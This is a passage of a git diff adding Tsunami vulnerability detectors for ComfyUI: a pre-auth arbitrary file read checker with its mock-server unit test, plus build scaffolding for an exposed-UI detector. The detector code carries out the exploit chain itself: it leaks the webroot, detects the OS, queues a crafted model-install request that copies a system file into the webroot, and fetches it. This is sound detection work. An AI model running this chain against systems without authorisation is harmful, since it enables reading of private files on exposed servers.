DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("ComfyUI Pre-Auth File Read starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isComfyUi) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + /* + * Fingerprint phase for ComfyUI. + * This detects the service and the version + */ + private boolean isComfyUi(NetworkService networkService) { + String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + HttpRequest req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + HttpResponse response; + try { + response = this.httpClient.send(req, networkService); + Document doc = Jsoup.parse(response.bodyString().get()); + // Checking if the service is ComfyUI + String title = doc.title(); + if (!title.contains("ComfyUI")) { + return false; + } + // Checking the version + targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VERSION_ENDPOINT; + req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + response = this.httpClient.send(req, networkService); + + if (response.bodyString().isPresent() && !response.bodyString().get().isBlank()) { + return true; + } else { + logger.atInfo().log("ComfyUI Manager not available"); + return false; + } + } catch (IOException e) { + return false; + } + } + + private Optional findFrontendWebroot(NetworkService networkService) { + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + String targetUri = rootUrl + LOGS_ENDPOINT; + HttpRequest req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + try { + HttpResponse response = this.httpClient.send(req, networkService); + if (response.status() != HttpStatus.OK || response.bodyJson().isEmpty()) { + return Optional.empty(); + } + + // Find web root path from the logs + try { + JsonArray logs = + response.bodyJson().get().getAsJsonObject().get("entries").getAsJsonArray(); + + for (JsonElement log : logs) { + String message = log.getAsJsonObject().get("m").getAsString(); + + if (message.startsWith(WEBROOT_MESSAGE_PREFIX)) { + String webroot = message.substring(WEBROOT_MESSAGE_PREFIX.length()); + return Optional.of(webroot.strip()); + } + } + // Not found + return Optional.empty(); + } catch (IllegalStateException + | NoSuchElementException + | NullPointerException + | ClassCastException e) { + return Optional.empty(); + } + } catch (IOException e) { + return Optional.empty(); + } + } + + private Optional detectHostOs(NetworkService networkService) { + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + String targetUri = rootUrl + OS_ENDPOINT; + HttpRequest req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + + try { + HttpResponse response = this.httpClient.send(req, networkService); + if (response.status() != HttpStatus.OK || response.bodyJson().isEmpty()) { + return Optional.empty(); + } + + try { + String os = + response + .bodyJson() + .get() + .getAsJsonObject() + .get("system") + .getAsJsonObject() + .get("os") + .getAsString(); + + return Optional.of(os); + } catch (IllegalStateException + | NoSuchElementException + | NullPointerException + | ClassCastException e) { + return Optional.empty(); + } + } catch (IOException e) { + return Optional.empty(); + } + } + + // Checks whether a given ComfyUI instance is exposed and vulnerable. + private boolean isServiceVulnerable(NetworkService networkService) { + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + + // The first HTTP request is used to leak the webroot path. + Optional webrootPathOptional = this.findFrontendWebroot(networkService); + if (!webrootPathOptional.isPresent()) { + logger.atWarning().log("Could not identify frontend web root path"); + return false; + } + String webroot = webrootPathOptional.get(); + + // The second HTTP request is used in order to detect the OS. + Optional hostOsOptional = this.detectHostOs(networkService); + if (!hostOsOptional.isPresent()) { + logger.atWarning().log("Could not identify host OS"); + return false; + } + String os = hostOsOptional.get(); + + String outputFilename = + ComfyUiFileReadViaSavePath.generateRandomString(OUTPUT_FILENAME_LENGTH) + ".safetensors"; + + String fileUri; + String outputPath; + + if (os.equals("posix")) { + fileUri = FILE_TO_LEAK_POSIX; + outputPath = webroot + "/" + WEBROOT_SUBDIRECTORY; + } else if (os.equals("nt")) { + fileUri = FILE_TO_LEAK_WIN.replace("\\", "\\\\"); + outputPath = webroot + "\\" + WEBROOT_SUBDIRECTORY; + outputPath = outputPath.replace("\\", "\\\\"); + } else { + logger.atWarning().log("Could not identify host OS"); + return false; + } + + String payload = + PAYLOAD_TEMPLATE + .replace("OUTPUT_PATH", outputPath) + .replace("OUTPUT_FILE", outputFilename) + .replace("FILE_TO_LEAK", fileUri); + + try { + // The third HTTP request is used to create the task and enqueue it + String targetUri = rootUrl + INSTALL_MODEL_ENDPOINT; + + HttpRequest req = + HttpRequest.post(targetUri) + .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(payload)) + .build(); + + HttpResponse response = this.httpClient.send(req, networkService); + if (response.status() != HttpStatus.OK) { + return false; + } + + // The fourth HTTP request is used to start the queue execution + targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + QUEUE_START_ENDPOINT; + req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + response = this.httpClient.send(req, networkService); + + if (response.status() != HttpStatus.OK) { + return false; + } + + // Sleep to allow the task to execute + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(1)); + + // Leak the file + targetUri = rootUrl + WEBROOT_SUBDIRECTORY + "/" + outputFilename; + req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + response = this.httpClient.send(req, networkService); + + if (response.bodyString().orElse("").contains(LEAK_DETECTION_STRING)) { + logger.atInfo().log("File leak confirmed"); + return true; + } else { + return false; + } + + } catch (IOException | IllegalStateException e) { + logger.atWarning().withCause(e).log("Exception raised during detection."); + return false; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/doyensec/detectors/comfyui_arbitrary_read_savepath/src/main/java/com/google/tsunami/plugins/detectors/comfyui/savepathread/ComfyUiFileReadViaSavePathBootStrapModule.java b/doyensec/detectors/comfyui_arbitrary_read_savepath/src/main/java/com/google/tsunami/plugins/detectors/comfyui/savepathread/ComfyUiFileReadViaSavePathBootStrapModule.java new file mode 100644 index 000000000..a3397a50f --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_savepath/src/main/java/com/google/tsunami/plugins/detectors/comfyui/savepathread/ComfyUiFileReadViaSavePathBootStrapModule.java @@ -0,0 +1,28 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.comfyui.savepathread; + +import com.google.tsunami.plugin.PluginBootstrapModule; + +/** A Guice module that bootstraps the {@link ComfyUiFileReadViaSavePath}. */ +public final class ComfyUiFileReadViaSavePathBootStrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(ComfyUiFileReadViaSavePath.class); + } +} diff --git a/doyensec/detectors/comfyui_arbitrary_read_savepath/src/test/java/com/google/tsunami/plugins/detectors/comfyui/savepathread/ComfyUiFileReadViaSavePathTest.java b/doyensec/detectors/comfyui_arbitrary_read_savepath/src/test/java/com/google/tsunami/plugins/detectors/comfyui/savepathread/ComfyUiFileReadViaSavePathTest.java new file mode 100644 index 000000000..b72b5f6f4 --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_savepath/src/test/java/com/google/tsunami/plugins/detectors/comfyui/savepathread/ComfyUiFileReadViaSavePathTest.java @@ -0,0 +1,210 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.comfyui.savepathread; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.comfyui.savepathread.ComfyUiFileReadViaSavePath.INSTALL_MODEL_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.savepathread.ComfyUiFileReadViaSavePath.LOGS_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.savepathread.ComfyUiFileReadViaSavePath.OS_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.savepathread.ComfyUiFileReadViaSavePath.QUEUE_START_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.savepathread.ComfyUiFileReadViaSavePath.VERSION_ENDPOINT; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link ComfyUiFileReadViaSavePath}. */ +@RunWith(JUnit4.class) +public final class ComfyUiFileReadViaSavePathTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2025-03-03T11:30:00.00Z")); + + @Bind(lazy = true) + private final int oobSleepDuration = 0; + + @Inject private ComfyUiFileReadViaSavePath detector; + private MockWebServer mockWebServer = new MockWebServer(); + + private static final String VERSION = "3.25.1"; + + private static final String VULNERABLE_RESPONSE = "127.0.0.1"; + + private static final String OS = "{\"system\":{\"os\":\"posix\"}}"; + + private static final String WEBROOT_BODY = + "{\n" + + " \"entries\":\n" + + " [\n" + + " {\n" + + " \"t\": \"2025-03-04T15:29:00.595153\",\n" + + " \"m\": \"[Prompt Server] web root:" + + " /Users/savio/ComfyUI.app/Contents/Resources/ComfyUI/web_custom_versions/desktop_app\\n" + + "\"\n" + + " }\n" + + " ]\n" + + "}"; + + @Before + public void setUp() { + mockWebServer = new MockWebServer(); + } + + @After + public void tearDown() throws Exception { + mockWebServer.shutdown(); + } + + private void createInjector() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + Modules.override(new ComfyUiFileReadViaSavePathBootStrapModule()) + .with(BoundFieldModule.of(this))) + .injectMembers(this); + } + + @Test + public void detect_whenVulnerable_reportsCriticalVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(true); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + DetectionReport expectedDetection = DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(httpServices.get(0)) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build(); + assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); + assertThat(mockWebServer.getRequestCount()).isEqualTo(7); + } + + @Test + public void detect_whenNotVulnerable_reportsNoVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(false); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(1); + } + + + private ImmutableList mockWebServerSetup(boolean isVulnerable) + throws IOException { + mockWebServer.setDispatcher(new EndpointDispatcher(isVulnerable)); + mockWebServer.start(); + return ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + } + + static final class EndpointDispatcher extends Dispatcher { + + public EndpointDispatcher(boolean isVulnerable) { + this.isVulnerable = isVulnerable; + } + + private final boolean isVulnerable; + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + if (recordedRequest.getMethod().equals("GET") && recordedRequest.getPath().equals("/")) { + if (isVulnerable) { + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody("ComfyUI"); + } else { + return new MockResponse() + .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) + .setBody(""); + } + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + QUEUE_START_ENDPOINT)) { + // Trigger request + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(""); + } else if (recordedRequest.getMethod().equals("POST") + && recordedRequest.getPath().equals("/" + INSTALL_MODEL_ENDPOINT)) { + // Exploit attempt + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(""); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().contains(".safetensors")) { + // File leak + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody(VULNERABLE_RESPONSE); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + VERSION_ENDPOINT)) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(VERSION); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + LOGS_ENDPOINT)) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(WEBROOT_BODY); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + OS_ENDPOINT)) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(OS); + } else { + // Anything else, return a 404 + return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()); + } + } + } +} diff --git a/doyensec/detectors/comfyui_exposed_ui_detector/README.md b/doyensec/detectors/comfyui_exposed_ui_detector/README.md new file mode 100644 index 000000000..3d4f8d409 --- /dev/null +++ b/doyensec/detectors/comfyui_exposed_ui_detector/README.md @@ -0,0 +1,15 @@ +# ComfyUI Detector + +## Description + +This plugins serves to detect the presence of an exposed ComfyUI instance. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +The Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/doyensec/detectors/comfyui_exposed_ui_detector/build.gradle b/doyensec/detectors/comfyui_exposed_ui_detector/build.gradle new file mode 100644 index 000000000..5236d4b84 --- /dev/null +++ b/doyensec/detectors/comfyui_exposed_ui_detector/build.gradle @@ -0,0 +1,69 @@ +plugins { + id 'java-library' +} + +description = 'ComfyUI Exposed UI' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13.1' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + guiceVersion = '4.2.3' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation 'org.jsoup:jsoup:1.9.2' + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} diff --git a/doyensec/detectors/comfyui_exposed_ui_detector/gradle/wrapper/gradle-wrapper.jar b/doyensec/detectors/comfyui_exposed_ui_detector/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..1b33c55ba Binary files /dev/null and b/doyensec/detectors/comfyui_exposed_ui_detector/gradle/wrapper/gradle-wrapper.jar differ diff --git a/doyensec/detectors/comfyui_exposed_ui_detector/gradle/wrapper/gradle-wrapper.properties b/doyensec/detectors/comfyui_exposed_ui_detector/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..ca025c83a --- /dev/null +++ b/doyensec/detectors/comfyui_exposed_ui_detector/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/doyensec/detectors/comfyui_exposed_ui_detector/gradlew b/doyensec/detectors/comfyui_exposed_ui_detector/gradlew new file mode 100755 index 000000000..23d15a936 --- /dev/null +++ b/doyensec/detectors/comfyui_exposed_ui_detector/gradlew @@ -0,0 +1,251 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH="\\\"\\\"" + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/doyensec/detectors/comfyui_exposed_ui_detector/gradlew.bat b/doyensec/detectors/comfyui_exposed_ui_detector/gradlew.bat new file mode 100644 index 000000000..db3a6ac20 --- /dev/null +++ b/doyensec/detectors/comfyui_exposed_ui_detector/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH= + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/doyensec/detectors/comfyui_exposed_ui_detector/settings.gradle b/doyensec/detectors/comfyui_exposed_ui_detector/settings.gradle new file mode 100644 index 000000000..d93bed472 --- /dev/null +++ b/doyensec/detectors/comfyui_exposed_ui_detector/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'comfyui-exposed-ui' diff --git a/doyensec/detectors/comfyui_exposed_ui_detector/src/main/java/com/google/tsunami/plugins/detectors/comfyui/exposed/ComfyUiExposedUi.java 